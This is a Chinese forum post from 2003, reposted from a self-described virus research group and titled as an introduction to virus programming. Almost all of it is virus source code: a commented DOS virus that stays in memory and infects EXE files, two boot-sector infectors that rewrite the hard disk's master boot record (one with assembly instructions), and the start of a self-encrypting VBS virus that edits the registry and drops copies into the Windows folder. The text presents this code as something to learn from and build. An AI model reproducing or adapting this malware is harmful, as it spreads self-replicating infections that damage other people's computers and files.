免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 6537 | 回复: 3
打印 上一主题 下一主题

浅谈病毒编程(转) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-05-02 10:41 |只看该作者 |倒序浏览
浅谈病毒编程(1)
原创:squirrel(squirrel)
来源:苏睿暄病毒研发小组

来源:苏睿暄病毒研发小组
从这篇文章开始,我们每篇文章由我们中的一人来写。这次是cat写的
介绍
姓名:展姚
性别:女
年龄:17
英文名:cat
主要作品:X-cat,i-worm.snw12等
e-mail:suruixuan1@sina.com
      。。。。真没想到研究这么快就完成了。。
既然是研究技术自然要从DOS(好古老。。。)开始 ,那么我们就START吧
下面是一个朋友写的,非常不错的一只病毒,又有很全的注释
;================== virus: baby Ver 1.01B2================
;=================== write begin: 2-7-2000 =================
;=================== finished : 2-7-2000 =================
;instruction:
;--I . The virus keep in memory (hook int 21h)
;
; II . It only infect EXE file
;
; III. Only when infected file larger than
; 1980 bytes,the virus would infect it.
;
; IV . The infected Mark is the infected file
;-- time was set TIME: SECOND =>; 12'22''
;
; * V . The virus can break READ_ONLY ATTRIB!!!
;
;--VI . The virus keeping in memory's Mark can
;-- get in this way :
;------+ MOV AX,30AE
;------+ INT 21
;
;-- * CX=04C6 =>; VIRUS has already been in memory
;-- * else =>; VIRUS hasn't been in memory
;===============================================================
--.radix 16
--.model tiny
--.286c
--.code
--org 0
start:
--push es--------;把原来的 PSP 压入栈堆
--call position------;呼叫 POSITION
position:----------;其实还可以用中断返回的方法读取当前偏移(反 DEBUG ^o^ )
--pop si--------;得到偏移 SI
--sub si,position-start----;得到入口偏移,存入SI
--push si--------;SI 入栈
--mov ax,30AE------;取 DOS 版本号(AE为通知同伴)
--int 21--------;实际为判断是否已驻留
--cmp cx,04c6------;CX=04C6 表明已驻留
--jne install------;不等,则驻留
--jmp run_host------;等,则运行原程序
install:
;================================================================
;You can add active code here: Don't too cruel!
;================================================================
active_check:
--mov ah,2a------;取日期
--int 21
--cmp dx,0c16------;是否为 12月22日
--jz active------;是,则发作
--jmp no_active------;不是,则转
active:
--push cs
--pop ds--------;置DS=CS
--push si
mov bl,COLOR1
--mov dx,offset active_mess-start--;计算发作信息绝对偏移
--add si,dx------;计算实际地址
--call write_on_screen----;显示发作信息
--mov ah,00------;读一字符后继续
int 16
pop si
push si
mov bl,COLOR2
mov dx,offset active_other_mess-start
add si,dx
call write_on_screen
--mov ah,00------;读一字符后继续
int 16
--pop si
--jmp run_host
;================================================================
no_active:
--mov ah,52------;取磁盘缓冲区地址
--int 21
--mov bx,es:[bx-2]----;取第一个 MCB 地址
--xor di,di------;清DI
loop_search:
--mov es,bx------;查找最后一个MCB地址
--add bx,word ptr es:[di+3]
--inc bx
--cmp byte ptr es:[di],5a
--jnz loop_search
;================Found Last MCB=========--
--mov bx,es------;保存找到的最后一个MCB地址----
--mov ax,word ptr es:[di+3]--;取最后一个MCB大小
--sub ax,vir_para------;剪去自己的PARA
--jnc keep_in_memory----;溢出则表明不够驻留
--jmp run_host------;否则继续
keep_in_memory:
--mov word ptr es:[di+3],ax--;改写最后一个MCB大小
--add bx,ax------;计算驻留区段地址
--inc bx
--mov es,bx------;并送入ES
--push cs
--pop ds--------;令DS=CS
--mov cx,vir_bytes----;将自己搬移
--cld
--rep movsb
;===============hook int 21============
; The virus in memory address is:[BX]
;======================================
--xor si,si
--mov ds,si------;挂接中断向量 21
mov dx,offset new_int21-start
--cli
--xchg ds:word ptr [21*4],dx
--xchg ds:word ptr [21*4+2],bx
--mov es:word ptr oldint21,dx
--mov es:word ptr oldint21+2,bx
--sti
;==============run host================
run_host:
--push cs--------
--pop ds
--pop si
mov di,offset old_header-start
--add di,si
--mov al,byte ptr [di]----;将OLD_HEADER前两个字符相加
--add al,byte ptr [di+1]----;后送入AL
--cmp al,0a7------;比较AL是否等于0A7
--jne run_com------;(4D+5A=0A7)
--jmp run_exe
run_com:
;=======================================
;You can add run .com file here!
;=======================================
--int 20
run_exe:
mov di,offset old_header-start
--add di,si------;将OLD_HEADER 地址送入DI
--pop cx--------;原PSP出栈
--mov dx,cx------
--add dx,10------;原PSP +10H
--mov ax,word ptr [di+0e]----;原程序SS 偏移送入AX
--add ax,dx------;计算SS 初值
--mov ss,ax
--mov ax,word ptr [di+10]----;原程序SP送入AX
--mov sp,ax
--mov ax,word ptr [di+16]----;原程序CS 偏移送入AX
--add ax,dx------;计算CS初值
--mov bx,word ptr [di+14]----;原程序IP送入BX
--mov ds,cx------;置DS
--mov es,cx------;置ES
--push ax--------;原CS入栈
--push bx--------;原IP入栈
--xor ax,ax
--xor bx,bx------;清 AX,BX,CX,DX,SI,DI,BP
--xor cx,cx
--xor dx,dx
--xor si,si
--xor di,di
--xor bp,bp
--retf--------
;=========================================
new_int21:
--pushf--------;标志入栈
--cmp ax,30AE------;是否为同伴在呼叫
--jne next------;不是,则转
--call dword ptr csldint21--;是,则响应
--mov cx,04c6
--iret--
next:
--cmp ah,4bh------;是否为运行程序
--jz infect------;是,则去感染
--pusha--------;否,则呼叫原INT21
--push ds
--push es
--jmp exit_int21
exit_int21_0:
--mov ah,3e------;关闭文档
--call calloldint21
exit_int21:
--pop es--------;寄存器出栈
--pop ds
--popa
--popf--------;标志出栈
jmp dword ptr csldint21 ;呼叫原INT21返回,执行原程序
infect:
--pusha--------;寄存器入栈
--push ds
--push es
--mov ax,4300
--call calloldint21----;取文档属性
--mov word ptr cs:file_attrib,cx--;保存原属性
--mov ax,4301------;置成普通文档
--mov cx,20
--call calloldint21
--mov ax,3d02------;开档
--call calloldint21
--jnc con1------;没错,则继续
--jmp exit_int21------;错,则离开
con1:
--xchg ax,bx------;保存HANDLE
--mov ax,5700------;取文档时间
--call calloldint21
--and cx,7ff
--cmp cx,18bH------;文档修改时间是否为: 12分22秒
--jnz con2------;不是继续
--jmp exit_int21_0----;是,不感染
con2:
--push cs--
--push cs--
--pop ds
--pop es--------;置DS=ES=CS
--lea dx,old_header----;读文档前20H 个字符
--mov cx,20
--mov ah,3f
--call calloldint21
--jnc con3
--jmp exit_int21_0
con3:
--lea si,old_header----;复制文档头前20H 个字符
--lea di,vir_header
--mov cx,20
--cld
--rep movsb
--lea di,vir_header
--mov al,byte ptr [di]----;判断文档是否为.EXE FILE
--add al,byte ptr [di+1]
--cmp al,0a7
--jnz infect_com
--jmp infect_exe
infect_com:
;=======================================
;You can add infect .com file here!
;=======================================
--jmp exit_int21_0----;是.COM 档则离开
infect_exe:
--call check_size------;去文档长度
--cmp dx,0
--jnz con6
--cmp ax,07bc------;文档长度>;1980则感染
--ja con6--------;否则退出
--jmp exit_int21_0
con6:
--push ax--------;保存文档长度 DX:AX
--push dx----
--add ax,vir_bytes----;计算感染后的文档长度
--adc dx,0------;并回写
--mov cx,200
--div cx
--or dx,dx
--jz con7
--inc ax
con7:
--mov word ptr [di+2],dx
--mov word ptr [di+4],ax--
--pop dx--------;取回文档长度
--pop ax----
--mov cx,10------;(DX:AX/10)后 AX 为 PARA数
--div cx--------;DX 为余数
--sub ax,word ptr [di+08]----;剪去文档头的PARA数
--mov word ptr [di+14],dx----;此时,DX为感染后的IP
--mov word ptr [di+16],ax----;AX为感染后的SS,CS
--mov word ptr [di+0e],ax
--add dx,4000------;新SP等于新IP+4000
--mov word ptr [di+10],dx----;送入SP
set_time_exit:
--mov ax,4200------;将修改后的文档头回写
--xor cx,cx------
--xor dx,dx
--call calloldint21
--mov dx,di
--mov cx,20
--mov ah,40
--call calloldint21
--jnc con5
--jmp exit_int21_0
con5:
--call check_size------;移动文档指针到文档尾
--lea dx,start
--mov cx,vir_bytes----;将自己写入
--mov ah,40
--call calloldint21----;置文档时间为: 12分22秒
--mov ax,5700
--call calloldint21
--and cx,0f800
--or cx,18bh
--mov ax,5701
--call calloldint21
--mov ah,3e------;闭档
--call calloldint21
--pop es
--pop ds
--popa
--pusha
--push ds
--push es
--mov cx,word ptr cs:file_attrib--;取原文档属性
--mov ax,4301------;置回原文档属性
--call calloldint21
--jmp exit_int21------;离开
;===============================
check_size:----; 作用: 1. 读文档大小 2.将文件指针移到文档尾部
--mov ax,4202
--xor cx,cx
--xor dx,dx
--call calloldint21
--ret
;===============================
calloldint21:----;呼叫就的中断 21h
--pushf
--call dword ptr csldint21
--ret
;===============================
write_on_screen:----; 直接写屏
--push es
--mov ax,0003
--int 10
--mov dx,0b800
--mov es,dx
--xor di,di
--cld
loop_write:
--lodsb
--or al,al
--jnz read_con
--pop es
--ret
read_con:
--stosb
mov es:byte ptr [di],bl
--inc di
--jmp loop_write
;===============================
;--My cute Virus Data
;===============================
old_header db 0cdh,20,1e dup(0)
active_mess db ' Warning! Warning! VIRUS Warning!',2e dup(20)
db ' Hi! You notice here! VIRUS : BABY ( Ver 1.00B ) has come!',15 dup(20)
db ' Guess What will I do, NEXT ? Press any key to get the ANSWER...',0f DUP(20),0
COLOR1 EQU 0CF
active_other_mess db 50 dup(20)
db ' It is only a joke, I will not harm you! Today is ANDY birthday, so I will do '
db ' nothing today! Have a good day! Bye!',7bh dup(20),0
COLOR2 EQU 1E
vir_bytes equ $-offset start
vir_para equ (vmem+0f)/10
vir_header db-- 20 dup(0)
oldint21 dd--?
file_attrib dw ?
vmem equ $-offset start
;==================================
--end--start

--
第二段是一个引导区病毒。。。大家看看就行了(自从某杀毒软件使用原始地址清除法毙了所有的引导区

病毒后就没有人再写了。不过我们也可以以其人之道还之其人之身。。。)

CSEG   SEGMENT
       ASSUME CS:CSEG
BEGIN: MOV AX,CS
       CMP AX,0
       JZ  START
       JMP FILE
;**********************************  DATA
DATE   DB  00H
PZ     DB  77H
TIME   DW  200H
JMPA   DW  7C00H
       DW  0000H         
JMPN   DW  OFFSET NEXT
       DW  0020H
FN     DB  'PLAY.COM',0
;************************************
START: XOR AX,AX
       MOV DS,AX
       MOV SS,AX
       MOV ES,AX
       MOV SP,7C00H
      
       MOV AX,DS:[20H]               ;SAVE INT 8H
       MOV DS:[180H],AX
       MOV AX,DS:[22H]
       MOV DS:[182H],AX
      
       MOV SI,SP
       MOV DI,0200H
       MOV CX,0200H   
       CLD
       REP MOVSB
      
       MOV BX,OFFSET JMPN+7C00H     
       JMP DWORD PTR CS:[BX]

NEXT:  MOV AX,OFFSET NEW08           ;MODI INT 8H
       MOV DS:[20H],AX
       MOV AX,0020H
       MOV DS:[22H],AX
      
       MOV BX,0600H
       MOV AX,0201H
       MOV CX,0001H
       MOV DX,0080H
       INT 13H
      
       CMP BYTE PTR ES:[PZ+0600H],077H
       JZ  NC
      
       MOV AX,0301H
       MOV CX,0017H
       MOV DX,0080H
       INT 13H
      
       MOV SI,0200H
       MOV DI,0600H
       MOV CX,0200H   
       CLD
       REP MOVSB
      
       MOV AX,0301H
       MOV CX,0001H
       MOV DX,0080H
       INT 13H

NC:    MOV BX,7C00H
       MOV AX,0201H
       MOV CX,0017H
       MOV DX,0080H
       INT 13H
      
       MOV AH,04H
       INT 1AH
      
       MOV CS:[DATE],DL
      
       MOV BX,OFFSET JMPA
       JMP DWORD PTR CS:[BX]
;***********************************RUN HD BOOTER PRG
NEW08: PUSH AX
       PUSH DS
      
       DEC CS:[TIME]
       JNZ I08
      
       XOR AX,AX
       MOV DS,AX
      
       MOV AX,DS:[4CH]
       MOV DS:[184H],AX
       MOV AX,DS:[4EH]
       MOV DS:[186H],AX
      
      
       MOV AX,OFFSET GR           ;MODI INT 8H
       MOV DS:[20H],AX
       MOV AX,OFFSET NEW13
       MOV DS:[4CH],AX
       MOV AX,OFFSET NEWF
       MOV DS:[94H],AX
      
      
       MOV AX,0020H
       MOV DS:[22H],AX
       MOV DS:[4EH],AX
       MOV DS:[96H],AX
      
       MOV CS:[TIME],200H

I08:   POP DS
       POP AX
       INT 60H
       IRET
;***************************************
NEW13: CMP AH,02H
       JZ  CNE
       CMP AH,03H
       JNZ I13
       CMP DL,00H
       JNZ CNE
      
       PUSH AX
       PUSH BX
       PUSH CX
       PUSH DX
       PUSH ES
      
       PUSH CS
       POP  ES
       MOV AX,0301H
       XOR BX,BX
       MOV CX,0001H
       MOV DX,BX
       INT 61H
       POP ES
       POP DX
       POP CX
       POP BX
       POP AX
       JMP I13
CNE:   CMP DX,0080H
       JNZ I13
       CMP CX,0001H
       JNZ I13
       MOV CX,0017H

I13:   INT 61H
       IRET
;*******************************************
NEWF:  PUSH CS
       POP  DS
       MOV DX,OFFSET FN
       MOV CX,00000001B
       MOV AH,3CH
       INT 21H
      
       MOV BX,AX
       MOV AH,40H
       MOV CX,400H
       XOR DX,DX
       INT 21H
      
       MOV AH,3EH
       INT 21H
       MOV AX,0003H
       INT 10H
       JMP NCF

GR:    PUSH AX
       PUSH BX
       PUSH CX
      
       MOV AX,0900H
       MOV CX,0001H
      
       CMP CS:[DATE],15H
       JZ GR1
       MOV BX,111B
GR1:   INT 10H

NG:    POP CX
       POP BX
       POP AX
       INT 60H
       IRET
;************************************
FILE:  PUSH CS
       POP  ES
       XOR AX,AX
       MOV DS,AX
       CMP BYTE PTR DS:[200H+PZ],77H
       JZ  NCF
      
       MOV AH,77H
       MOV DS:[200H+PZ],AH
       MOV BX,0300H
       MOV AX,0201H
       MOV CX,0001H
       MOV DX,0080H
       INT 13H
      
       MOV AX,0301H
       MOV CX,0017H
       MOV DX,0080H
       INT 13H
      
       PUSH CS
       POP  DS
       MOV SI,0100H
       MOV DI,BX
       MOV CX,01B0H    ;CX 1B0H
       CLD
       REP MOVSB
      
       MOV AX,0301H
       MOV CX,0001H
       MOV DX,0080H
       INT 13H

NCF:   MOV AH,4CH
       INT 21H
CSEG   ENDS
       END BEGIN

第三段非常经典,大家一定要好好看,可以受益不少
     CSEG   SEGMENT
            ASSUME CS:CSEG

;**  PART  1:文件部分  *****************************************************     
     
     START: JMP  BEGIN
     
        B_IP   DW  7777H ;|----------------------;存放原文件的CS:IP
        B_CS   DW  7777H ;|                      ;初始值的变量
        
        FNEXE  DB '*.EXE';|----------------------;EXE文件通配名
        
        N_IP   DW  0 ;|--------------------------;存放感染后文件的
        N_CS   DW  0 ;|                          ;CS:IP初始值变量
        
        B_EXE  DW  0 ;|--------------------------;用于放置计算结
        H_EXE  DW  0 ;|                          ;果的两个变量
     
     DISP   PROC                              ;|                    
            JMP  COUN1                        ;|
     M_WORDB '*I am sorry to bother you. *' ;|
            DB  0AH,0DH                       ;|
            DB '*I will not damage your PC.*' ;|
            DB  0AH,0DH                       ;|
            DB '$'                            ;|
                                              ;|
     COUN1: MOV DX,CS                         ;|           
            MOV DS,DX                         ;|;表现模块:
            MOV DX,OFFSET M_WORD              ;|;显示:"我很抱谦打扰你.
            MOV AH,09H                        ;|       我不会破坏你的
            INT 21H                           ;|       电脑."
            RET                               ;|
     DISP   ENDP                              ;|
     
     BEGIN: PUSH DS
            PUSH ES
            
            CALL DISP
            
            XOR AX,AX                  ;|
            MOV DS,AX                  ;|--------;检查是否已驻留内存
            CMP DS:[21FH],BYTE PTR 77H ;|        ;是->;转HBG 否->;继续
            JZ HBG                     ;|         
            
            MOV DS:[21FH],BYTE PTR 77H ;|--------;置内存驻留标志
     
            MOV AX,CS                     ;|
            MOV DS,AX                     ;|
            MOV SI,OFFSET HDP             ;|      
            MOV AX,22H                    ;|      
            MOV ES,AX                     ;|-----;将驻留部分移至内存
            XOR DI,DI                     ;|     ;0022H:0000H处
            MOV CX,OFFSET MAIN-OFFSET HDP ;|
            CLD                           ;|
            REP MOVSB                     ;|
            
            XOR AX,AX ;|                         ;保存原中断10H,13H
            MOV DS,AX ;|-------------------------;至85H和86H
            CALL SM   ;|                         ;并修改使之指向新中断部分
                                                
                                                
            MOV AX,CS
            MOV DS,AX
            MOV ES,AX
            
            MOV AX,0201H        ;|            
            MOV BX,OFFSET P_SIZE;|            
            MOV CX,0001H        ;|---------------;读主引导扇区
            MOV DX,0080H        ;|
            INT 86H             ;|
     
            CMP DS:[BX],BYTE PTR 0FAH;|----------;是否已被感染
            JNZ HBG                  ;|          ;是->;转HBG 否->;继续
            
            MOV CX,0004H ;|                        
            MOV AX,0301H ;|----------------------;将原主引导扇区写入
            MOV DX,0080H ;|                      ;0面0道4扇区
            INT 86H      ;|

            MOV DI,OFFSET P_SIZE          ;|      
            MOV SI,OFFSET HDP             ;|     
            MOV CX,OFFSET MAIN-OFFSET HDP ;|-----;将引导部分覆盖引导程序
            CLD                           ;|     ;不破坏硬盘分区表
            REP MOVSB                     ;|
            
            MOV AX,0301H ;|                        
            MOV CX,0001H ;|----------------------;将引导部分写入主引导扇区
            MOV DX,0080H ;|
            INT 86H      ;|
     
            MOV AX,0302H ;|                        
            XOR BX,BX    ;|
            MOV CX,0002H ;|----------------------;将自身全部代码写入2,3扇区
            MOV DX,0080H ;|
            INT 86H      ;|
     
     HBG:   POP ES
            POP DS
            
            MOV AX,DS               ;|
            ADD AX,10H              ;|-----------;执行被感染的原程序
            ADD CS:[B_CS],AX        ;|
            JMP DWORD PTR CS:[B_IP] ;|

;**  PART  2:引导部分  *****************************************************     

     HDP:   JMP DP
     
        TIME     DW  180H  ;|---------------------;计时数:当为0时就修改中断
        
        JMPA     DW  7C00H ;|---------------------;启动时系统就将引导程序装
                 DW  0000H ;|                     ;入此地址运行;病毒程序也
                                                  ;会将原引导程序装入此地址

        JMPN     DW  OFFSET NEXT-OFFSET HDP ;|----;引导部分将自身转移后继续
                 DW  0022H                  ;|    ;运行的地址

        JMP_MAIN DW  OFFSET MAIN ;|---------------;装入后的感染部分在
                 DW  8000H       ;|               ;内存中的地址

     DP:    XOR AX,AX
            MOV DS,AX
            MOV ES,AX
            MOV SS,AX                           
            MOV SP,7C00H
     
            MOV SI,SP                           ;|
            MOV DI,220H                         ;|
            MOV CX,OFFSET MAIN-OFFSET HDP       ;|
            CLD                                 ;|将自身移至22H:00H后,继续
            REP MOVSB                           ;|运行
            MOV BX,OFFSET JMPN-OFFSET HDP+7C00H ;|
            JMP DWORD PTR CS:[BX]               ;|
     
     NEXT:  MOV BX,7C00H ;|                        
            MOV AX,0201H ;|
            MOV CX,0004H ;|----------------------;读原主引导扇区
            MOV DX,0080H ;|
            INT 13H      ;|
      
            MOV DS:[21FH],BYTE PTR 77H;|---------;置内存驻留标志
      
            MOV AX,DS:[20H]  ;|
            MOV DS:[210H],AX ;|------------------;使中断84H指向中断08H
            MOV AX,DS:[22H]  ;|
            MOV DS:[212H],AX ;|
      
            MOV AX,OFFSET NEW08H-OFFSET HDP ;|     
            MOV DS:[20H],AX                 ;|---;将中断08H指向NEW08H程序块
            MOV AX,CS                       ;|
            MOV DS:[22H],AX                 ;|
      
            MOV BX,OFFSET JMPA-OFFSET HDP ;|-----;执行原引导程序
            JMP DWORD PTR CS:[BX]

;**  PART  3:新中断部分  ****************************************************     

     NEW08HEC WORD PTR CS:[TIME-HDP] ;|--------;新中断08H的作用
            JNZ  I08                   ;|        ;检测计时数是否为0
            PUSH AX                    ;|        ;是->;改回中断08H,并
            PUSH DS                    ;|        ;    保存并修改原中
                                       ;|        ;    断10H,13H使之指
            XOR AX,AX                  ;|        ;    新中断部分
            MOV DS,AX                  ;|        ;否->;执行原中断08H
                                       ;|
            MOV AX,DS:[210H]           ;|      
            MOV DS:[20H],AX            ;|
            MOV AX,DS:[212H]           ;|
            MOV DS:[22H],AX            ;|
            CALL SM                    ;|
                                       ;|
            POP DS                     ;|
            POP AX                     ;|
     I08:   INT 84H                    ;|
            IRET                       ;|
     
     SM     PROC                            ;|---;子程序SM的作用:
            MOV AX,DS:[40H]                 ;|   ;将中断10H,13H分别保存
            MOV DS:[214H],AX                ;|   ;至85H,86H,并修改10H,13H
            MOV AX,DS:[42H]                 ;|   ;指向新中断部分
            MOV DS:[216H],AX                ;|
                                            ;|
            MOV AX,DS:[4CH]                 ;|
            MOV DS:[218H],AX                ;|
            MOV AX,DS:[4EH]                 ;|
            MOV DS:[21AH],AX                ;|
                                            ;|
            MOV AX,OFFSET NEW10H-OFFSET HDP ;|   
            MOV DS:[40H],AX                 ;|
            MOV AX,22H                      ;|
            MOV DS:[42H],AX                 ;|
                                            ;|
            MOV AX,OFFSET NEW13H-OFFSET HDP ;|
            MOV DS:[4CH],AX                 ;|
            MOV AX,22H                      ;|
            MOV DS:[4EH],AX                 ;|
            RET                             ;|
     SM     ENDP                            ;|
     
     NEW10H:CMP AH,00                         ;|-;新中断10H的作用:
            JZ N1                             ;| ;检测是否调用功能00H
            INT 85H                           ;| ;是->;将主代码装入内存
            IRET                              ;| ;    并执行
     N1:    PUSH AX                           ;| ;否->;调用原中断10H
            PUSH BX                           ;|
            PUSH CX                           ;|
            PUSH DX                           ;|
            PUSH DS                           ;|
            PUSH ES                           ;|
                                              ;|
            MOV AX,8000H                      ;|
            MOV ES,AX                         ;|
                                              ;|
            MOV AX,0202H                      ;|
            XOR BX,BX                         ;|
            MOV CX,0002H                      ;|
            MOV DX,0080H                      ;|
            INT 13H                           ;|
                                              ;|
            MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
            JMP DWORD PTR CS:[BX]
     
     NEW13HUSHF        ;|----------------------;新中断13H的作用:
            CMP CX,0001H ;|                      ;检测是否读主引导扇区
            JNZ NGW      ;|                      ;是->;读0面0道4扇区
            CMP AH,02H   ;|                      ;否->;调用原中断13H
            JNZ NGW      ;|                        
            CMP DX,0080H ;|
            JNZ NGW      ;|
                         ;|
            MOV CX,0017H ;|
     NGW:   POPF         ;|
            INT 86H      ;|
            IRET         ;|

;**  PART  4:传染部分  ******************************************************
     
     MAIN:  MOV AX,CS
            MOV ES,AX
            MOV DS,AX
      
            MOV AH,1AH        ;|
            MOV DX,OFFSET DTA ;|-----------------;设置DTA(磁盘传输地址)
            INT 21H           ;|

            MOV AH,4EH          ;|               
            JMP DIR             ;|               
     SDIR:  MOV AH,4FH          ;|               ;在当前目录中搜索第一个
     DIR :  MOV DX,OFFSET FNEXE ;|---------------;EXE文件
            MOV CX,100111B      ;|               ;找到->;继续
            INT 21H             ;|               ;没找到->;转HW
            JC  HW              ;|
                                                
            CMP DS:[T_L],BYTE PTR 77 ;|          ;检测是否已感染
            JZ  SDIR                 ;|          ;是->;搜索下一个EXE文件
            MOV CX,DS:[S_H]          ;|          ;    直到找到或搜索完
            CMP CX,09H               ;|----------;    目录为止
            JNB SDIR                 ;|          ;否->;实施传染
                                     ;|          ;注:如果文件已感染或文
            CALL GR                  ;|          ;   长度超过90000H都不
                                                 ;   会传染.
     HW:    POP ES
            POP DS
            POP DX
            POP CX
            POP BX
            POP AX
            INT 85H ;|---------------------------;执行原中断10H
            IRET
            
     GR     PROC ;|------------------------------;子程序GR作用:
                                                 ;传染EXE文件
            
            MOV DX,OFFSET FN ;|                 
            MOV AX,4301H     ;|-----------------;置文件属性为:普通
            MOV CX,100000B   ;|
            INT 21H          ;|
        
            MOV AX,3D02H                        
            INT 21H          ;|-----------------;打开文件
            MOV BX,AX            
            
            MOV AX,4200H        ;|              
            XOR CX,CX           ;|
            MOV DX,8H           ;|
            INT 21H             ;|--------------;读文件头节长度
            MOV AH,3FH          ;|
            MOV CX,2H           ;|
            MOV DX,OFFSET H_EXE ;|
            INT 21H             ;|
      
            MOV AX,4200H       ;|               
            XOR CX,CX          ;|               
            MOV DX,14H         ;|
            INT 21H            ;|---------------;保存原文件的 CS:IP
            MOV AH,3FH         ;|               ;初始值
            MOV CX,4H          ;|
            MOV DX,OFFSET B_IP ;|
            INT 21H            ;|
            
            MOV AX,4202H      ;|  
            XOR CX,CX         ;|
            XOR DX,DX         ;|
            INT 21H           ;|
            MOV DX,DS:[S_H]   ;|
            MOV AX,DS:[S_L]   ;|
            MOV CX,10H        ;|                 ;使原文件的长度为10H的
            DIV CX            ;|-----------------;倍数,目的是为了使自身
            INC AX            ;|                 ;能运行在CS:00的环境下
            SUB AX,DS:[H_EXE] ;|
            MOV DS:[N_CS],AX  ;|
            SUB CX,DX         ;|
            PUSH CX           ;|
            MOV AH,40H        ;|
            INT 21H           ;|
            
            MOV AH,40H           ;|              
            MOV CX,OFFSET P_SIZE ;|--------------;将自身附加在文件结尾
            XOR DX,DX            ;|
            INT 21H              ;|
            
            MOV AX,4200H         ;|
            XOR CX,CX            ;|
            MOV DX,02H           ;|
            INT 21H              ;|
            MOV DX,DS:[S_H]      ;|
            MOV AX,DS:[S_L]      ;|
            POP CX               ;|
            ADC AX,CX            ;|           ;将新文件的长度转换成
            JNC NC1              ;|           ;(页长度+最后一个扇区字节数)
            INC DX               ;|-----------;的形式
     NC1:   ADC AX,OFFSET P_SIZE ;|           ;并将此结果写入EXE文件头
            JNC NC2              ;|
            INC DX               ;|
     NC2:   MOV CX,200H          ;|
            DIV CX               ;|
            INC AX               ;|
            MOV DS:[B_EXE],DX    ;|
            MOV DS:[H_EXE],AX    ;|
            MOV DX,OFFSET B_EXE  ;|
            MOV CX,4H            ;|
            MOV AH,40H           ;|
            INT 21H              ;|
            
            MOV AX,4200H       ;|            
            XOR CX,CX          ;|            
            MOV DX,14H         ;|
            INT 21H            ;|-------------;将计算后的新CS:IP初始值写
            MOV AH,40H         ;|             ;入EXE文件头
            MOV CX,4H          ;|
            MOV DX,OFFSET N_IP ;|
            INT 21H            ;|
            
            MOV AX,5701H    ;|               
            MOV CH,DS:[T_H] ;|                ;改回文件修改日期并打上
            MOV CL,77       ;|----------------;已感染标志
            MOV DX,DS:[D]   ;|
            INT 21H         ;|
            
            MOV AH,3EH ;|---------------------;关闭文件
            INT 21H    ;|
            
            MOV DX,OFFSET FN ;|               
            MOV AX,4301H     ;|
            XOR CH,CH        ;|---------------;改回文件属性
            MOV CL,DS:[C]    ;|
            INT 21H          ;|
            RET              ;|
     
     GR     ENDP     
                             ;|---------------;DTA(磁盘传输地址)的格式如下:
        DTA    DB  21 DUP(0) ;|---------------;DOS功能4FH将使用这些字节                  
        C      DB  0         ;|---------------;文件属性
        T_L    DB  0         ;|---------------;文件时间的低位
        T_H    DB  0         ;|---------------;文件时间的高位
        D      DW  0         ;|---------------;文件日期
        S_L    DW  0         ;|---------------;文件长度的低位
        S_H    DW  0         ;|---------------;文件长度的高位
        FN     DB  13 DUP(0) ;|---------------;文件的全名

        P_SIZE:
     
     CSEG   ENDS
            END  START
;****************************************************************************
;*  此文件(CV2.ASM)可用MASM和LINK编译成可执行文件.                           *
;*  第一次运行时会造成死机.重新启动机器后,病毒已                            *
;*  驻留内存.                                                               *
************************************************************************
下次我们的老大ATM将向大家介绍win9x/Me/NT/2000/xp virus (只是一只而已,不过很全的几乎包含了

atm所有的病毒技术了)
下面是Squirrel 的一只新毒的测试版
'a vbs virus
'一只有多变体能力的病毒

On Error Resume Next
dim

wscr,rr,htmlvirus,vbss,file,fso,vbscopy,pass,conta,contb,vbscopya,dexorstring,psa,dexortie
Set fso = CreateObject("Scripting.FileSystemObject"
set wscr=CreateObject("WScript.Shell"
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout"
if (rr>;=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"
end if
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
dexorstring="
Dim lngq As Long
    Randomize Rnd(-1)
    For lngq = 1 To Len(ps)
        Randomize Rnd(-Rnd * Asc(Mid(ps, lngq, 1)))
    Next lngq
Dim lngz As Long
    Dim ints As Long
    Dim lngx As Long
    For lngx = 1 To Len(ts)
        lngz = Asc(Mid(ts, lngx, 1))
        ints = Int(Rnd * 256)
        Mid(ts, lngx, 1) = Chr(lngz Xor ints)
    Next lngx
Dim lngC As Long
    Dim lngD As Long
    Dim lngE As Long
    Dim lngA As Long
    Dim lngB As Long
    Dim lngN As Long
    Dim lngJ As Long
    Dim lngK As Long
    Dim strB As String
    lngA = Len(ts)
    lngB = lngA - 1 - (lngA - 1) \ 4
    strB = Space(lngB)
    For lngN = 1 To lngB
        lngJ = lngJ + 1
        lngC = Asc(Mid(ts, lngJ, 1)) - 59
        Select Case lngN Mod 3
        Case 1
            lngK = lngK + 4
            If lngK >; lngA Then lngK = lngA
            lngE = Asc(Mid(ts, lngK, 1)) - 59
            lngD = ((lngE \ 16) And 3) * 64
        Case 2
            lngD = ((lngE \ 4) And 3) * 64
        Case 0
            lngD = (lngE And 3) * 64
            lngJ = lngJ + 1
        End Select
        Mid(strB, lngN, 1) = Chr(lngC Or lngD)
    Next lngN
    vbscopy = strB"   
dexortie="
dim k as long
dim length as integer
dim passc
length=len(ps)
for k=1 to 128
passc=ps+asc(mid(ps,k,1))*256*k
next k
passc=-passc
dim flength as long
dim size as long
dim byteblock() as byte
dim j as long
dim position as long
flength=lof(ts)
size=flength
rnd(passc)
byteblock=ts
for j=1 to size
byteblock(j)=byteblock(j) xor int(rnd*256)
next j
ts=byteblock"


   
sub main()
Dim known
Set known = CreateObject("WScript.shell"
If known.RegRead("HKEY_CURREN_USER\Squirrels2001", "vbs" <>; "die" Then
passaa()
cont()
exor(pass)
dim c
set c=fso.createtextFile("%windir%"&"\system32\"&"Squirrel2001.vbs"
c.write"On Error Resume Next "
c.write"dim"&""&conta&","&contb&","&"ts"&","&"ps"
c.wrtte"dim reg"
c.write"set reg=createobject('wscript.shell')
c.write"reg.RegWrite 'HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout',0,'REG_DWORD'"
c.write conta&"="&pass
c.write contb&"="&vbscopya
c.write"ts="&contb
c.write"ps="&conta
c.write dexorstring
c.write"dim ass,ff,dd"
c.write"set ass = CreateObject('Scripting.FileSystemObject') "
c.write"set dd=ass.createtextfile('%windir%\'"&conta&contb&"'.vbs')"
